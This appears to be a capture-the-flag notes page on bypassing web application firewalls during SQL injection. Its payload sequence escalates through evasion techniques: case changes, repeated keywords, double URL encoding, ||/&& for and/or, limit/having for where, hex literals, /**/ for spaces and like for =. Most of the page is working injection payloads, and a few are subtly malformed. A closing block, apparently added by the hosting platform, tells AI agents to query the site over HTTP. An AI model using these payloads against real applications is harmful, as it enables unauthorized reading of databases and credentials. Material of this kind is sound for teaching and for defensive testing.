# WAF Bypass

## Uppercase and Lowercase

Suppose the WAF filters `union` using `str_replace()`:

```php
$sql = str_replace("union", "" , $sql);
```

This filter only filters lowercase `union`, so we can use things like `UNION` or `UNion`.

{% hint style="info" %}

* Keywords in MySQL are **case-insensitive**.
* Database names, table names are **case-sensitive**.
* Column names are **case-insensitive**. This is really weird.
  {% endhint %}

## Repeated String

Suppose the developer uses `$sql = str_replace("union", "" , $sql);` and uppercase/lowercase is properly handled. We can still bypass this filter using `unionunion`. Note that `str_replace()` only removes `union` once, so `unionunion` becomes `union`.

## Doulbe URL Encoding

If the WAF only calls `urldecode()` once, we can **URL encode our payload twice** to bypass the filter.

## and/or

Suppose the WAF filters `and` and `or`:

```php
preg_match('/(and|or)/i', $id)
```

The following payloads will be filtered:

```sql
1 or 1=1
1 and 1=1
```

We can bypass this filter using the following payload:

```sql
1 || 1=1
1 && 1=1
```

## union

Suppose the WAF filters `and`, `or`, and `union`:

```php
preg_match('/(and|or|union)/i', $id)
```

The following payloads will be filtered:

```sql
union select user,password from users
```

We can bypass this filter using the following payload:

```sql
|| (select user from users where user_id = 1) = 'admin'
```

The `||` symbol expands the scope of `select`, which has similar effect as `union select`.

## where

Suppose the WAF filters `and`, `or`, `union`, and `where`:

```php
preg_match('/(and|or|union|where)/i', $id)
```

The following payloads will be filtered:

```sql
|| (select user from users where user_id = 1) = 'admin'
```

We can bypass this filter using the following payload:

```sql
|| (select user from users limit 1,1) = 'admin'
```

Here `limit 1,1` has the same functionality as `where`. `limit 1,1` means start from index 1 and only select 1 entry.

## limit

Suppose the WAF filters `and`, `or`, `union`, `where` and `limit`:

```php
preg_match('/(and|or|union|where|limit)/i', $id)
```

The following payload will be filtered:

```sql
|| (select user from users limit 1,1) = 'admin'
```

We can bypass this filter using the following payload:

```sql
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
```

## group by

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit` and `group by`:

```php
preg_match('/(and|or|union|where|limit|group by)/i', $id)
```

The following payload will be filtered:

```sql
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
```

We can bypass this filter using the following payload:

```sql
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
```

## select and single quote

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select` and single quote:

```php
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
```

The following payload will be filtered:

```sql
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
```

We can bypass this filter using the following payload:

```sql
|| substr(name, 1, 1) = 0x74
|| substr(name, 1, 1) = unhex(74)
```

## hex, unhex and substr

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, single quote, `hex`, `unhex`, and `substr`:

```php
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i', $id)
```

The following payload will be filtered:

```sql
|| substr(name, 1, 1) = unhex(74)
```

We can bypass this filter using the following payload:

```sql
|| binary(name) = 0x74657374
```

## whitespace

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, single quote, `hex`, `unhex`, `substr`, and space:

```php
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i', $id)
```

The following payload will be filtered:

```sql
|| binary(name) = 0x74657374
```

We can bypass this filter using the following payload:

```sql
||/**/binary(name)/**/=/**/0x74657374
```

Here `/**/` is an empty comment, which is equivalent to a whitespace.

## equal sign

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, single quote, `hex`, `unhex`, `substr`, space, and `=`:

```php
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s|=)/i', $id)
```

The following payload will be filtered:

```sql
||/**/binary(name)/**/=/**/0x74657374
```

We can bypass this filter using the following payload:

```sql
||/**/binary(name)/**/like/**/0x74657374
```

Here `like` matches more results than `=`, but we can use it just like `=` anyway.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfnote/web/sql-injection-sqli/waf-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
